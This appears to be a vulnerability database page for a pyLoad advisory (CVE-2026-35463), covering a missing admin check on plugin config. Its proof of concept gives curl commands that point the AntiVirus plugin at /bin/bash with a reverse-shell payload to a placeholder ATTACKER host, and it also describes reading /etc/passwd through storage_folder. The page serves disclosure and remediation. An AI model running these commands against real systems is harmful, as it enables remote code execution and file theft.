Search for vulnerabilities
| Vulnerability ID | VCID-6ujx-ntw5-s7dy |
| Aliases |
CVE-2026-35463
GHSA-w48f-wwwf-f5fr |
| Summary | pyLoad: Improper Neutralization of Special Elements used in an OS Command ### Summary The `ADMIN_ONLY_OPTIONS` protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is **only applied to core config options**, not to plugin config options. The `AntiVirus` plugin stores an executable path (`avfile`) in its config, which is passed directly to `subprocess.Popen()`. A non-admin user with SETTINGS permission can change this path to achieve remote code execution. ### Details **Safe wrapper — `ADMIN_ONLY_OPTIONS` (core/api/__init__.py:225-235):** ```python ADMIN_ONLY_OPTIONS = { "reconnect.script", # Blocks script path change "webui.host", # Blocks bind address change "ssl.cert_file", # Blocks cert path change "ssl.key_file", # Blocks key path change # ... other sensitive options } ``` **Where it IS enforced — core config (core/api/__init__.py:255):** ```python def set_config_value(self, section, option, value): if f"{section}.{option}" in ADMIN_ONLY_OPTIONS: if not self.user.is_admin: raise PermissionError("Admin only") # ... ``` **Where it is NOT enforced — plugin config (core/api/__init__.py:271-272):** ```python # Plugin config - NO admin check at all self.pyload.config.set_plugin(category, option, value) ``` **Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):** ```python def scan_file(self, file): avfile = self.config.get("avfile") # User-controlled via plugin config avargs = self.config.get("avargs") subprocess.Popen([avfile, avargs, target]) # RCE ``` ### PoC ```bash # As non-admin user with SETTINGS permission: # 1. Set AntiVirus executable to a reverse shell curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \ -d 'section=plugin' \ -d 'option=AntiVirus.avfile' \ -d 'value=/bin/bash' curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \ -d 'section=plugin' \ -d 'option=AntiVirus.avargs' \ -d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"' # 2. Enable the AntiVirus plugin curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \ -d 'section=plugin' \ -d 'option=AntiVirus.activated' \ -d 'value=True' # 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload curl -b session_cookie -X POST http://TARGET:8000/api/add_package \ -d 'name=test' \ -d 'links=http://example.com/test.zip' # Result: reverse shell as the pyload process user ``` ### Additional Finding: Arbitrary File Read via storage_folder The `storage_folder` validation at `core/api/__init__.py:238-246` uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting `storage_folder=/` combined with `GET /files/get/etc/passwd` gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions. ### Impact - **Remote Code Execution** — Non-admin user can execute arbitrary commands via AntiVirus plugin config - **Privilege escalation** — SETTINGS permission (non-admin) escalates to full system access - **Arbitrary file read** — Via storage_folder manipulation ### Remediation Apply `ADMIN_ONLY_OPTIONS` to plugin config as well: ```python # In set_config_value(): ADMIN_ONLY_PLUGIN_OPTIONS = { "AntiVirus.avfile", "AntiVirus.avargs", # ... any plugin option that controls executables or paths } if section == "plugin" and option in ADMIN_ONLY_PLUGIN_OPTIONS: if not self.user.is_admin: raise PermissionError("Admin only") ``` Or better: validate that `avfile` points to a known AV binary before passing to `subprocess.Popen()`. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 8.0 |
| Risk | 4.0 |
| Affected and Fixed Packages | Package Details |
| System | Score | Found at |
|---|---|---|
| epss | 0.00135 | https://api.first.org/data/v1/epss?cve=CVE-2026-35463 |
| epss | 0.00135 | https://api.first.org/data/v1/epss?cve=CVE-2026-35463 |
| cvssv3.1 | 8.8 | https://github.com/pyload/pyload |
| generic_textual | HIGH | https://github.com/pyload/pyload |
| cvssv3.1 | 8.8 | https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1 |
| generic_textual | HIGH | https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1 |
| ssvc | Track* | https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1 |
| cvssv3.1 | 8.8 | https://github.com/pyload/pyload/security/advisories/GHSA-w48f-wwwf-f5fr |
| generic_textual | HIGH | https://github.com/pyload/pyload/security/advisories/GHSA-w48f-wwwf-f5fr |
| ssvc | Track* | https://github.com/pyload/pyload/security/advisories/GHSA-w48f-wwwf-f5fr |
| cvssv3.1 | 8.8 | https://nvd.nist.gov/vuln/detail/CVE-2026-35463 |
| generic_textual | HIGH | https://nvd.nist.gov/vuln/detail/CVE-2026-35463 |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Percentile | 0.33094 |
| EPSS Score | 0.00135 |
| Published At | June 5, 2026, 12:55 p.m. |
| Date | Actor | Action | Source | VulnerableCode Version |
|---|---|---|---|---|
| 2026-06-04T16:53:24.609321+00:00 | GithubOSV Importer | Import | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w48f-wwwf-f5fr/GHSA-w48f-wwwf-f5fr.json | 38.6.0 |